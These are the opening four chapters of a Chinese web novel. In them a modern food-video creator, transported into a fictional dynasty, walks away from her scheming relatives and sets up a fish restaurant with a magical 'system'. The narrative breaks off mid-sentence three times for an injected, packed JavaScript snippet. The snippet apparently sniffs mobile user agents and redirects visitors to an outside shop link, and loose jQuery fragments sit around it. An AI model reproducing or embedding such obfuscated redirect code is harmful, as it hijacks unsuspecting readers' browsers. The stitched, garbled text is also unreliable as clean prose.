《我家食肆通古今》 1. 汆炸鱼丸 昭宁王朝，上京，孟家祠堂。 檀香混杂着陈旧木料的气息，压得人喘不过气。 孟清圆被晚翠扶着，从冰凉坚硬的青石板上站起来，后脑勺的磕碰处还在隐隐作痛。 那是刚才二房婶娘撒泼时，被推搡撞到供桌角留下的。 “……孟家大房就剩下你这么个孤女。 玉京楼好歹是祖上传下来的基业，你一个女子如何受得住？ 不如交给你二伯三伯打理，也算对得起你那早逝的爹娘！” 主位上，周耆老撵着山羊胡言之凿凿，一看就是个大反派。 他身后，二房的孟仲山，她的二伯，嘴角噙着藏不住的笑意。 三房夫妇也频频点头，眼神里满是贪婪。 嗯，这几个货看上去也是反派，还是那种很刻板的反派。 就差在脸上刻着：我是反派四个字了。 孟清圆垂着眸，眼珠子却滴溜溜乱转。 她不是原装的孟清圆。 她……穿越了！ 几个小时前，她还是B站上坐拥百万粉丝的失传古食复刻up主。 为了赶制一期“唐代宫廷花露”视频连续熬了三个通宵。 而通宵的后果就是一个不小心犯了低血糖。 后脑勺直接嗑在了尖锐的大理石茶几角上。 再睁开眼，就成了这具身体的主人。 一个长相一样，名字一样，平行世界的孟清圆。 唯一的区别，就是这具身体比她小了七岁。 原主爹娘去世后，她在孟家过得谨小慎微。 虽是长房嫡女，可那日子，连二房得脸的婢子都不如。 以孟清圆的眼光看，那就是个十足的小可怜儿。 而今天，因着她不日及笄。 按族规，将接手孟家百年老字号“玉京楼”。 二房三房便借着“姑娘难当家”的由头，联合族内耆老逼她分家。 说是分家，不过是寻个由头把她大房这一支分出去罢了。 哦忘了说，昭宁王朝的及笄礼是十八岁。 也就是说，这帮人正在欺负一名失去双亲的未成年！ 真是好不要脸，好狗血的桥段，孟清圆心中吐槽。 “周耆老。” 孟清圆脑子里跑马灯似的接收原主记忆和时代背景。 这才抬起头梗着脖子，清亮的嗓音打破祠堂的沉寂。 和原主的怯懦截然不同：“好叫各位知道。 玉京楼能今天这景象，全仰赖我爹娘一手的好打理。 昭宁律明文规定，女子可自主营生。 你们这是打定了心思要和朝廷律法过不去？” 这话一出，祠堂里顿时一片哗然。 二房婶娘跳起来，叉着腰便骂。 “反了反了！ 一个小丫头竟敢当众顶嘴，这是不将宗族各位看在眼中了？ 大哥大嫂是个短命的，几年前便早早去了。 族里拉扯你长大，让你把产业交出来，那是为你好。 谁想你竟是个不知好歹的，这让我们如何放心将玉京楼交给你？” “拉扯我长大？” 孟清圆冷笑一声，那表情仿佛在说： 你跟我这扯什么犊纸？ 她目光从众人脸上一一划过。 脸旁尚且有些许稚嫩，可那眼神却无端让人后背一紧。 “我爹娘留下的月例，被你们以‘代为保管’的名义克扣大半。 去岁冬日，送到我屋里来的都是黑炭。 我且不跟二婶娘惯用的银丝碳比，只说你屋里的茶水婢子，敢问用的可是黑炭？” 那黑炭燃点低，灰化速度快。 往往点上不足一个小时便会熄灭。 不仅不耐用，烟还大。 要是屋里点上一盆，不知道的都得以为是遇上了北京的雾霾天。 而且原主的记忆里，这家人的龌龊事还不止这一件，简直有一箩筐那么多。 玉京楼是孟家的摇钱树，每个月赚的银子那都得论箱抬。 二房三房早就馋红了眼，平时私下里没少动手脚，如今不过是找个由头明抢。 周耆老脸色一沉：“牙尖嘴利！ 什么碳不碳的，莫要转移话题。 我看你是猪油蒙了心，不知道天高地厚！ 今天这字，你签也得签，不签也得签！” 说着，他朝旁边使了个眼色。 两个膀大腰圆的家丁立刻上前，就要近孟清圆的身逼迫她按手印。 孟清圆心头一紧。 难道刚穿越就要落得个被夺产后赶尽杀绝的下场？ 她下意识后退：“干嘛干嘛？ 吵不过就要动手啊？ 不讲武德啊你们！” 晚翠见来者不善，已经率先上前一步挡在孟清圆身前。 “你们怎敢！” 就在此时，孟清圆脑海里突然响起一串冰冷的机械音： 【检测到宿主生命正在遭遇威胁，星际联经营系统正在激活。】 【您有一条新新手任务】 拒绝签署财产转让协议并从孟宅搬离。 任务奖励：上京通济坊临街铺面一间，启动资金五十两，食谱菜单300道。 系统？ 孟清圆暗喜。 哟吼，果然穿越女配系统。 这是网文的标配啊。 她拉着晚翠身形后退。 一通蛇形走位避开了家丁的手，声音陡然拔高： “我不签不签就不签！ 我警告你们别乱来啊！ 各位族老或许不知，可二叔，您难道不好奇轻烟今日为何不在吗？” 话音一出，孟仲山眼球便转了三转。 轻烟是孟清圆从小到大的另一个贴身丫鬟。 向来与孟清圆焦不离孟，然此时确不在当场。 孟清圆见家丁停手，再接再厉。 “昭宁王朝重农兴商。 官府最忌强取豪夺商户产业。 圣人更是商贾出身一举开辟昭宁盛世。 此时轻烟正在大理寺外。 若今日午时我不能安然走出孟家，自然会有一纸血书被上交给朝廷裁决。 届时，别说孟家的脸皮，怕是整个玉京楼都要交由商贾司管理。” 说罢，她看向孟仲山，挑挑眉。 “二叔，你也不想让族里鸡飞蛋打吧？” 这段话正中对方要害。 孟家在上京虽算不上顶级权贵，但也是排得上号的大家族。 若真闹到官府去，合族耆老和二房三房都讨不到好处。 一个弄不好，玉京楼都会败在这件事上。 周耆老脸色铁青，孟仲山也收敛了笑意，阴鸷地盯着她。 “好，好得很！ 你不签也罢。 只从今往后，你需搬出孟家，且不可插手玉京楼任何事务！ 我们孟家断容不得你这般泼厉女子。” “那可真是谢谢啊！”孟清圆毫不犹豫。 反正她又不是原主，对家族产业什么的，一点执念都没有。 海阔凭鱼跃，天高任鸟飞。 她手握系统，开个小店。 顺便再赚点白花花的银子，不比窝在这个处处是坑的孟家好多了？ 更何况，玉京楼落在这群蛀虫手里，迟早要毁。 她一个B站百大美食UP主，难道还怕单干不成？ 另起炉灶什么的，求之不得。 不过她也没傻到空着手离开。 拉着晚翠回到原主院里，但凡是能装上的，连刷牙用的杨枝和擦脚用的布巾都叫晚翠一并装上了。 废话，不带走难道还巴巴的跑到外面再花钱买吗。 不可能，绝对不可能！ 她拢共才五十两，那肯定是能带上多少家当就带多少。 要不是那雕花大床和红木马桶实在不好扛着走，她都想一并装上了。 孟宅位于延寿坊，距离通济坊足足有十几坊之差。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165305|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 打个骡的过去都得半个多小时。 俩人来来回回搬了七八趟，总算是把行李都搬干净了。 孟府小厮奉命过去打扫时，面对着空荡荡的屋子，嘴角差点抽抽起来。 出了孟府大门，晚翠伸手招来三辆骡车。 “你们三个，把这些东西都分开装好。 送到通济坊南坊的七肆第……” 她悄悄凑过去问孟清圆，“小娘子，多少邸来着？” “第五邸。” “咳，通济坊南坊的七肆第五邸。 这是定钱，剩下的等送到了再付。 这些可都是贵重物件，都给我仔细着点。” “得嘞！” 几人应下，装好东西便赶着骡车走远了。 孟清圆倒是不怕他们会卷东西跑路。 这昭宁王朝的骡车和马车，就好比后世的滴滴出行。 都是由车马行登记户籍在册的。 人家每个月不仅拿着底薪，拉货还额外有提成。 可一旦要是有偷窃犯科等行为，不仅要罚款，还要去蹲笆篱子。 所以没人会干这样的蠢事。 晚翠将孟清圆为数不多的首饰放在包袱里，打了个结固定在胸前。 “小娘子，轻烟今天不是去排队买西市新出的定胜糕了吗？ 你是什么时候安排她去的大理寺，我怎么不知道？” “我瞎编的。” 孟清圆耸耸肩。 “我要是不那么说，你觉得咱俩今天还能这么轻轻松松出这孟宅的大门吗。” “小娘子好聪明！ 小娘子好英明！ 小娘子简直太厉害啦！” 晚翠化身夸夸怪。 “低调低调。” 孟清圆压了压手，看都不看孟府门口的小厮。 “走，咱们去西市找轻烟吃糕糕去喽~” 延寿坊距离西市并不远，步行过去也就十来分钟。 孟清圆一边走，一边查看系统再次响起的提示音： 【新手任务完成，奖励已发放。】 【通济坊铺面坐标已标记。】 【契书、钥匙与启动资金已存入系统背包，可随时提取。】 有钱喽，这可是白花花的五十两雪花纹银啊。 俩人找到轻烟时，她那队伍前面还有二十几号人。 见到人来，轻烟眼睛一亮。 “小娘子，晚翠，你们怎么来啦。 是不是等急了，放心，马上就排到我了。” 孟清圆看了看她前面的乌泱泱人头。 马上就排到，认真的吗？ 这孩子不会是不识数吧。 “你先排着，多买几块啊。 我俩先去别地儿逛逛。” 轻烟郑重点头，目送孟清圆拉着晚翠离开。 两人在西市又逛了半个小时。 买了一大堆花里胡哨的糕点和小吃。 她本人还一边吃着汆炸鱼丸，一边惬意的往回走。 别说，不愧是重农兴商的昭宁王朝。 虽然是架空朝代，但商业发展之完善，美食种类之繁多，不亚于后世的现代。 像她现在吃的这个鱼丸，就有点类似于后世的安大妈炸丸子。 就连撒在上面的调料粉都很像。 “小娘子……” 晚翠在旁边突然开口，一脸严肃的看着她。 孟清圆还以为是自己当街这么吃东西有辱斯文。 正想稍微收敛点，从一口吃三颗变成一颗吃一颗，就听到晚翠说道： “小娘子，能不能分我一颗……” 啊这？ 孟清圆看着晚翠双手大包小包的东西，一脸抱歉。 “报一丝啊报一丝，忘了你没手能吃了。 来来来，我喂你，张嘴，啊~” 说着，一根签子直接穿了五颗，全都送进了晚翠嘴里。 晚翠嚼的心满意足。 心想，小娘子果然还是爱我的。 2. 定胜糕 两人重新回到定胜糕铺子前，轻烟正好买完。 她提着一提油纸包健步如飞，顺手还贴心的接过了晚翠手上大半的东西。 “小娘子，我买好啦，一共三个口味，我每种买了五块。” “行。” 孟清圆指一指她手上一个袋子，“里面是汆炸鱼丸，还热乎呢，快吃。” 晚翠也安利：“好吃好吃，比咱们府里大厨房做的好吃多了。 啊呸呸呸，什么咱们府，是他们孟府。” 孟清圆好笑，三人打了辆马车，悠悠哉哉的朝通济坊赶去。 马车上，趁晚翠给轻烟讲事情经过的功夫，孟清圆靠在车厢上假寐。 实则意识已经打开了脑海里的系统开始研究。 映入眼帘的是非常古早风格的页面。 简单到有点丑的UI，一共三个菜单：菜谱、人物和背包。 菜谱页面，里面是上百张尚未解锁的黑色框框，每一张上面都印着白色问号。 而在这其中，还有几个上面印着非常醒目的金色问号。 孟清圆数了一下，这样画着金色问号的框框一共十张。 分别是第十一张，第二十六张，第三十五张，第四十八张…… 孟清圆用毕生所学的数学知识找了半天规律。 最后发现，嗯，没有规律，感觉就是系统按心情随意排的。 而人物界面，同样是十张黑色框框。 上面没有立绘，没有名字，甚至连问号都没有。 孟清圆挨个点了一遍，无事发生。 她又确认了半天，没有客服，没有设置，也没有任务栏。 整个页面，除了菜谱、人物和背包，一点多余的功能都没有。 什么半成品系统。 孟清圆在心里吐槽了一句，顺势关掉系统睁开眼。 车窗外景色已经大变样，从楼阁林立变成了低矮房屋。 颇有种从三里屯到了南锣鼓巷的感觉。 通济坊临街地段，一间不大的铺面静静立在街角。 铺面不算新，外墙上长着些许青苔。 但地理位置还算不错，紧邻共江，不远处便是上京有名的漕运码头。 往来的商旅和本地居民络绎不绝，正是个开饭馆儿的好地方。 之前的三辆骡车已经到了，车夫正优哉游哉的半依在车橼上。 见金主回来了，赶紧下车上前，“小娘子叫我们好等，不知东西给您卸到哪？” “报一丝哈~” 因着自己逛街逛的忘了时间，孟清圆在原本车费的基础上，又每人多给了十文钱小费。 “还劳烦各位帮我把东西搬进屋里。” “好说好说。” 那边卸货，这边孟清圆便将之前悄悄从系统背包中取出的钥匙交给晚翠。 “开门去~” “得嘞！” 钥匙将偌大的黄铜锁头打开，晚翠单手将门推开，顺势被呛得咳咳两声。 “小娘子缓些再近前，这里好大的灰。” 等晚翠将几扇窗也都打开，灰尘散了些，三人这才进屋，东西也陆续被车夫搬了进来。 里面布置的十分清简，桌椅板凳虽然都有，但看得出来不是什么好木头。 一张木柜台，一个旧书架，厅后开了个小门，通往后厨和小院。 “我检查过啦，地方不大，总共一进，但还算妥帖。 后院有口水井，用来做吃食正合适。 其余便是两间小屋，正好小娘子一间，我与晚翠一间。 只不过房中现下还是空的，要住人，恐怕得赶紧买床才成。” 刚才在车上，听完事情经过的轻烟已经对着孟家好一通大骂。 所以这会对于即将到来的新生活，也接受良好。 三人也不着急收拾东西，而是先找了个桌子擦干净，将刚才买来的吃食都堆在上面。 晚翠将东西一样样打开，什么定胜糕、桔红糕、薄荷饮子、草莓好郎君。 “小娘子，你想先尝哪个？” “不都说这个定胜糕最近特别火吗，咱们尝尝看。 也不知到底是有多好吃，能让那么多人排好几个时辰去买。” “还热着呢，竟是玫红色的。” 油纸包打开，嫩红的糕体方方正正，两头微微翘起。 上面印着清晰的“定胜”二字，看着就讨喜。 孟清圆伸出手指轻轻捏住一块，软乎乎却不塌。 咬上一口，糕粉细腻得像化开的云朵，一点不粘牙。 她这块儿是豆沙馅的，中间包了一小块豆沙。 甜度适中，就是做的时候没去豆皮，所以细腻度差了点。 “也就那么回事吧。” 孟清圆吃完一块后真诚点评，“味道还行，但也排那么久，实在犯不上。” 起码跟自己的手艺比起来，还差一截。 “其实味道还是不错的。 我觉得比咱们玉京楼大部分的点心都要强上许多，否则也不会那些个人排队去争买了。” 轻烟公允评价。 “什么咱们玉京楼啊，以后要说他们玉京楼！” 晚翠气不过，嘴里定胜糕嚼着，鼓出大半个腮帮子，跟只小仓鼠似的。 孟清圆戳了戳她的脸蛋儿，“大家都是吃都是同样的东西，怎么晚翠就能长得这么胖乎呢。” 可不是胖乎嘛，其实三人食量差不太多。 可不知晚翠是吸收好还是易胖体质，一样的热量下肚，她就是能比别人人多长出二两肉来，力气也生的大。 以前孟清圆的原主父亲还曾送她去行武。 只可惜还没练成功夫大家，故人就不在了。 孟清圆将这些回忆收拢，开始跟她们讲起这定胜糕的做法来。 “其实也没什么稀奇的，就是用粳米粉和糯米粉，再加入少许红曲米粉调色。 搅拌均匀之后，放温糖水边淋边拌。 等米粉捏起来能成团，再静置半个时辰，就可以放进模具里了。 放之前还得在上面涂一层猪油，这样方便脱膜。 一层米粉一层馅料再一层米粉这样压好，旺火蒸一刻钟就能吃了。 简单的很，你们要是喜欢，赶明儿我给你俩做更好吃的。” 当初孟清圆觉得红豆和桂花馅过于平庸，还做过芋泥、咸肉、脆啵啵口味的。 虽然有点邪修，但送给朋友，却意外的受欢迎。 “好呀好呀！小娘子做的，肯定好吃！” 晚翠嘴里塞满了煎饼酥，还不忘捧场。 “小娘子，咱们真的要开店吗，那咱们卖什么呀？”轻烟问。 “那当然是卖吃食了，小娘子手艺那么好。 说不好几年后，跟玉京楼比谁更受欢迎呢。” 轻烟暗暗瞪了晚翠一眼，嗔她怎么老提那边。 “若是卖吃食，那咱们要卖什么品类？” “你们想吃什么？”孟清圆不答反问。 “我爱吃鱼，嘿嘿嘿，这边挨着共江，肯定好多新鲜鱼获，我觉得鱼怎么做都好吃！” “行，那就先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165306|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖鱼肉菜！” 孟清圆拍板。 轻烟张了张嘴，欲言又止。 不是，这卖什么吃食，这么草率就决定了吗？ 孟清圆一眼就看出了她的心思，“我的好轻烟，你就放心吧。 这铺子，咱自家的，没有房租。 这位置嘛，倒也还算可以。 况且鱼肉菜，做法也海了去了，我保证好吃！” 她刚才在西市，虽然是为了逛一逛这昭宁王朝，但也顺便做了个市场调研。 别看街面上小吃种类多，但那些古法菜还真没几道。 就以她上辈子的经验和手艺，以及上百道贯穿唐宋元明清的古法食谱。 想盘活这么一个小小的门店，那还不是手拿把掐~ “轻烟，下午你去定个匾额，名字就叫东篱食肆，顺便再去买两架床回来。 晚翠，你跑趟杂货局，把开店要用的一应碗筷厨具等都买回来。 再把咱们带回来的家伙事都收拾一下。” “是！” “好嘞~” 现下各铺面要用的牌匾，去木工坊就可以定制。 但此外还需到朝廷指定的商贾司买上一面望子。 不同的经营内容，对应不同的望子样式和图案。 比如酒肆是画着酒坛的望子，铁匠铺是画着铁锤的望子。 像他们这种卖吃食的，上面便是画着一个碗。 当然，如果是开到玉京楼那种能同时容纳上千人就餐的规模，便属于酒楼范畴，在商贾司都是挂了名号的。 不仅能承办各种高端宴席，里面还能开设瓦子。 每天的杂耍表演不断，好不热闹。 不过交的赋税也高就是了。 比酒楼低一等的，便是饭庄。 主打家常菜肴和主食，一般设有散座，但楼上也有雅致包间。 再次一等，便是食摊或食担。 整个上京，商贾司在册的食摊，恐不少于五千数。 可见兴商这政策，可不是空喊口号的。 三人各领分工，很快就忙活起来。 孟清圆去后院换了身方便行动月白色的窄袖短襦配齐腰罗裙，刚准备出门，就又收到了系统的提示音： 【您有一条新的主线任务】 想要快速积攒下食肆的第一桶金，菜谱很重要。 请于七天内成功点亮十道菜谱。 完成任务奖励：东篱食肆声望值100点 （注：声望值积攒到一定程度，可以兑换奖励，目前因宿主声望值过低，兑换功能暂未开启） 未完成任务惩罚：扣除100两店铺资金 （注：如店铺资金不足，则会自动负债，负债金额超过5两，时间超过3天，宿主将被系统抹杀） 啊不是？被抹杀？这是玩命啊？ 孟清圆看着被系统自动接取并且显示正在进行中的任务，亿脸懵逼。 先不说这个声望值是什么鬼，凭什么完不成任务就要扣100两啊？ 如果她没记错的话，系统一共也才给了她五十两吧？ 而且负债金额超过5两就会被抹杀。 还不如直接说只要任务完不成，就得嘎。 系统到底是怎么用最平静的文字，说出最冰冷的话的。 投诉！她要投诉！ 五分钟后，寻找投诉界面无果的孟清圆只能悻悻的出了门。 左上角的倒计时已经开始，167小时：54分：32秒的数字随时提醒她： 留给你的时间不多啦~ 3. 陈记鱼羹 通济坊占地约莫48亩，分为通济北坊、中坊和南坊。 她们所在的院子，便属于南坊，也是除了隔壁共水坊外，离共江最近的铺面。 孟清圆才出门，就被隔壁一家摊子的大娘喊住。 对方一身黛蓝色粗布麻衣，精神气却足，声音也如洪钟。 “方才便见到你们三位小娘子，敢问可是新租赁这家铺面的？” “正是。” 孟清圆没有全盘托出，只顺着大娘默认了自己只是租户。 “哎呀，这家铺面无端占个临江的好位置，却是长久不见开张。 我还以为是房东不差这点租子呢，没想到如今倒是开业了。 不知道几位小娘子是打算做什么营生？” “我们姐妹三人不才，只有点做吃食的手艺。 所以打算开个吃食铺子，大娘您家是做鱼羹的呀？” 大娘甚是热情，“可不是，我家这鱼羹在这坊间开了三十多年了。 不是我吹啊，这整个通济坊，就没有比我家鱼羹做的更好吃的！ 小娘子得空了可得来我这尝尝。” “我现在就挺空的，不如您给我来一碗尝尝？” 虽然左上角的倒计时还在继续，而且刚才肚子里已经塞了不少东西 但品尝美食，也算是市场调研吧。 大娘应得痛快，麻利的给她从面前大锅里盛了一碗，送过来放在桌上。 “这鱼羹啊，得配着烤得酥脆的胡饼才更香呢，我去给你拿一个！” 孟清圆也不拒绝，一口胡饼一口鱼羹，吃的不亦乐乎。 别说，这大娘家的鱼羹做的的确好。 调料味不重，却闻不见河鱼的土腥味，看来确实有两把刷子。 正吃着呢，门帘突然从里面掀开，走出来一位女郎，个头高挑肤色健康。 是真挺高的，有点像后世的女排运动员。 见到孟清圆，对方微笑，露出左边一颗虎牙。 点头打过招呼，她又去找大娘。 “娘，今早的鱼获送的少，恐怕明早的份儿都不够，我再去江边寻摸些。” “去吧去吧，可别在外面偷偷买东西吃啊。” “哎呀娘，我才不会偷吃呢！” 陈江流羞恼，赶紧快速走到孟清圆面前。 “咳咳，你就是新搬来的吧？ 我叫陈江流，大家平时都叫我江流儿。” 孟清圆从善如流，心里却吐槽，江流儿，唐僧？ 要是吴承恩认识眼前的人儿，不知那西天取经的，会不会变成个女尼姑。 “你好你好，我叫孟清圆，你可以叫我阿圆。 我们今天才搬过来，带着两位妹妹准备开个食肆，以后还请多关照。” 江流儿见她礼行的好看，也抱拳回应，“好说好说。” 正好孟清圆吃完了，又听说对方要去江边，这不就是现成的本地导游嘛。 “方才听说你要去买鱼货，我能否跟着去看看。” 陈江流大大方方，“那有啥不行的，走走走，我正好给你介绍介绍。” 孟清圆要掏钱结账，陈大娘死活不要。 她也没多推让，想着回头做了吃食也端过来一份。 有来有回的，这关系不就攀上了嘛。 两人就这么出了门，顺着南坊一路向下，不多时便到了江岸。 这边原是江边渔民摆摊居多，久而久之，也形成了不小的规模。 “以前只早市有，不过现下，足开到酉时。 你日后要是买渔获，还是要赶早，这会儿子恐怕是不太多了。” 孟清圆看着人头接踵的集市，颇有种回到了现代年根底下逛大集的感觉。 各种摊位鳞次栉比，除了卖鱼，还卖米面、绸缎、香料、奇巧玩意儿，甚至连贵重的瓷器都有。 陈江流熟门熟路带着她穿梭其间，很快来到一家鱼摊前。 “王五叔，鲩鱼还有没？” 被称为王五叔的汉子古铜色皮肤，打着赤膊，一身精壮的疙瘩肉，只下身穿了缠腿的布裤。 “也是巧了，再早来三刻都未必有。 方才有渔船回码头，刚送来两筐。” “那正好，您给我挑十尾大的。” “得嘞！” 王五打开身后的竹筐，飞快选出十尾大鲩鱼。 又取来一捆草线，一头穿了直角钩子，将钩子从鱼鳃穿过，绑成一捆，手巧的在上面打了个活结。 这样陈江流直接拎着，既方便也不易滑手。 十条大鱼，约莫得有三四十斤。 就这么被陈江流拎着，仿佛根本没有重量似的。 这家伙，女版李元霸啊。 “回头明儿您来我家送鱼时，再给您结账。” “成。” 孟清圆见他案上的鱼获新鲜又大，听那话茬又是陈江流一贯的供货商。 估计东西差不了，便也想要买上一些。 “王五叔，可还有青鱼？” 陈江流熟络介绍：“这是我家铺子对面新来的孟掌柜，日后也是要经营食肆的。 王五叔，你可得给她也挑些好的。” “你这丫头，这么多年了，你王五叔这里有没有差货，你还不知道吗？” “嘻嘻。” 陈江流嘿嘿一笑，又朝王五叔眨眨眼，“价格也得算便宜些，说不好孟掌柜日后还要长期订货呢。” 听她这样说，王五叔原本想从案上拿鱼的手便一顿。 不着痕迹的打量一下孟清圆。 只见眼前这小娘子虽是窄袖衣衫，但那气质却不似平头百姓。 于是身子转了半圈，略过案上，最终从身后的筐里取出两尾还在活蹦乱跳的大青鱼。 孟清圆轻轻挑眉，啧啧，果然是无奸不商啊。 要不是陈江流这句话，恐怕她今天买到的，就是那不太新鲜的尾货了。 “孟掌柜看我这大青鱼如何？” “美滴很，只不过我这食肆还未开张，恐不能大量订货。 还劳烦王五叔先装上两尾，等回头一定多订。” “好说好说。” 两条青鱼，如法炮制穿成一捆。 孟清圆入手掂量一下，一条大概就有六七斤。 等最后算账时，王五竟然只要了她160文。 算下来一条只要80文，看来陈江流这面子还真好使。 孟清圆决定，晚上要给她们娘俩加餐！ 两人一手一捆鱼，接着往前走。 中间孟清圆又顺便采购了菜籽油两坛，米面各三十斤，各种水灵灵的小青菜和肉蛋以及香料若干。 通通叫人三刻钟后送到陈记鱼羹斜对面未开张的铺面里，找一个叫晚翠的娘子结账。 原本以为在古代，很多调料都不太好找，谁成想她还是低估了昭宁王朝的商业发达程度。 不仅常见的茱萸八角桂皮有，连小茴香、干辣椒、孜然和玉米淀粉这些不那么常见的调料都有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165307|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都说巧妇难为无米之炊，只要调料足够丰富，孟清圆就不愁做不出好东西来。 再前方便是共江漕运其中一个码头。 远远看过去，那一排排的大船，每一艘都有三层小楼那么高。 其中最大的一艘，竟然足足有五层。 那造型，跟后世的军舰也差不了多少了。 关键是每一艘的船头，都立着“温”字旗。 “看见这一排船没，这些可都是温家的船。 尤其是最大的那艘，据说最远能到天方。” 天方孟清圆知道，阿拉伯嘛。 小时候她最喜欢看的天方夜谭，记录的便是阿拉伯当地的民间传说。 里面什么烤全羊，香煎肉排，巴克拉瓦，椰枣糕和鹰嘴豆汤，她小时候没少抱着书流口水。 怪不得这里连孜然、肉桂和橄榄油都有得卖。 原来昭宁人已经将商路打通至远海以外了。 两人正对着大船议论，突然远处一声暴喝，将众人的目光都吸引了过去。 “废物！连几箱货物都搬不稳，耽误了温家商行的交割，你赔得起吗？” 孟清圆循声望去，只见不远处码头栈桥上，一个穿着青色绸缎袄子，腰束玉带的中年男人正指着一位搬运工怒骂。 那搬运工约莫五十上下，长期的日晒和体力劳动使他皮肤黝黑，脊背佝偻。 双手死死抓着一个倾斜的木箱，箱角戳进地面，看那样子对方已是用尽全力。 他的裤腿卷到膝盖，露出布满疤痕和淤青的小腿。 额头上的汗珠像断了线的珠子顺着沟壑纵横的脸颊往下淌。 “张管事，对不住，对不住……” 老者声音发颤，“这箱子太沉，我实在没力气了。 可否……让我歇口气再搬？” 被称作张管事的男人冷笑一声，抬腿就往木箱上踹了一脚。 木箱晃动的得加厉害，连带着老人也被带的一个趔趄。 “歇口气？这可是温家的货，你也敢耽误？ 要是耽误了时辰，你有十条命也赔不起！ 今儿这箱货，你必须搬去库房。 搬不动也得搬，否则老子的工钱不是白付了？” 说着又白眼球怒瞪几个想要上前帮忙的汉子。 “你们这些人也是，我告诉你们啊，少拿那种眼神看我。 这码头搬运的活计，你们不干多的是人想干，现在什么营生环境不知道啊？ 今儿我开了你们，明儿就能花更低的钱雇一批新人。 也不看看自己是个什么东西，我们温家赏你们一口饭吃，你们就得跪着谢恩知道吗？” 这话虽然说的难听，但还真是戳中了周围汉子的肺管子。 现在这世道，营生难找啊，尤其是他们这种最底层卖苦力的。 就像这温家管事说的一样，找活的人太多，岗位却少。 尤其温家商行给的工钱一向大方，也不拖欠。 这张管事虽然欺人，可要是因为这个把工作弄丢了，那回头家里吃啥喝啥。 见这帮人果然被他吓唬住了，张管事更加得意，下巴磕都快扬天上去了。 码头往来的商旅虽然有驻足观望的，却也没人上前多管闲事。 谁都知道，温家商行是上京头一号的大商行。 这张管事平日里在码头就颇为跋扈。 但因为他是温家老爷子当年一手提拔的老人儿，在商行里有体面，所以没人刻意触霉头。 4. 手锤鱼丸 “不行了，这个老登，看的老娘拳头硬了！” 孟清圆腿比脑子快一步，已经冲了上去。 陈江流见状，也赶紧追上去。 俩人一高一矮，一黑一白，站在老者两边，就跟黑白双煞似的。 孟清圆将老人扶起来，炮火对准张管事。 “先说好啊，我不认识他。 当然，我也不认识你。 所以一会儿我说的所有话，都是秉着公平公正的原则。” 张管事没想到还真有人多管闲事，还是两位小娘子。 还不待他说话，孟清圆已经连珠炮似的开火了。 “职场霸凌我见得多了，但是像你这么没品的，我还是第一次见到。 看你穿的人模狗样，怎么一张嘴就是小狗汪汪叫。 是不是平时在你主子们面前装孙子装久了，心理变态，所以连老头你都欺负。 你说你挺大个老爷儿们，看起来吃的肥头大耳的，这箱子沉不沉你心里没数吗？ 我看就你身板虚的，十个你也抬不起来吧？ 我说你不会是身体不行，所以心理变态吧？” 孟清圆语速又快又猛，张管事根本插不进嘴。 他都多少年没被人这么卷过了，一时间又羞又恼，尤其是对方还攻击他最脆弱的地方。 他……是真的不行！ “他娘的！ 哪来的小娘儿们，敢到老子面前撒野。 也不看看自己什么身份，真当我们温家商行是好惹的？” “我呸！一口一个温家商行。 怎么地，你也姓温啊张管事？ 这么有孝心怎么没见你家主子给你赐个家奴姓呢？” “你你你！” 张管事差点一口老血被气出来，他又不是奴才，什么赐姓骂的也太脏了！ 真是是可忍叔不可忍，“来人啊，给我把这俩人从码头轰出去！” “谁敢动一下试试？” 陈江流人高马大，直接一个跨步挡在孟清圆身前，手里的鱼抡起来跟流星锤似的。 带着腥味儿的汁子溅了张管事和围上来的打手们一身，连孟清圆和老者也没能幸免。 “流姐牛批！” 孟清圆抹了一把脸上的水，也学着她抡起手里的大青鱼。 “来啊，老娘正愁没地方做手锤鱼丸呢！” 眼看双方要打起来，突然一道声音从甲板传来：“诸位，稍等。” 这声音不大，甚至没什么气势。 但张管事等人听到后瞬间脸色一白。 他赶紧给打手们使了个眼色，又狠狠瞪孟清圆和陈江流一眼。 可等转过身后，表情立刻切换成凄苦脸。 好家伙，老小子还会川剧变脸。 孟清圆见对方不打了，也停止了挥舞手中的大青鱼，嘴里还呸呸了两下。 她感觉刚才有鱼鳞甩进自己嘴里了。 一个穿着大红色锦袍的男子快步顺着悬梯而下，快步走到众人面前。 孟清圆抬手擦嘴时瞥了一眼，哎呦嗬，竟然还是个帅哥。 但一想到这帅哥是温家的人，那帅气顿时消失了五分。 孟清圆是个有原则的人，现在对于温家商行的所有人，统统没有好感。 “少东家！您怎么在船上？” 张管事没想到在这竟然遇到了这位爷。 他不是应该身体不适在家静养吗，不会刚才自己作威作福全被看见了吧？ 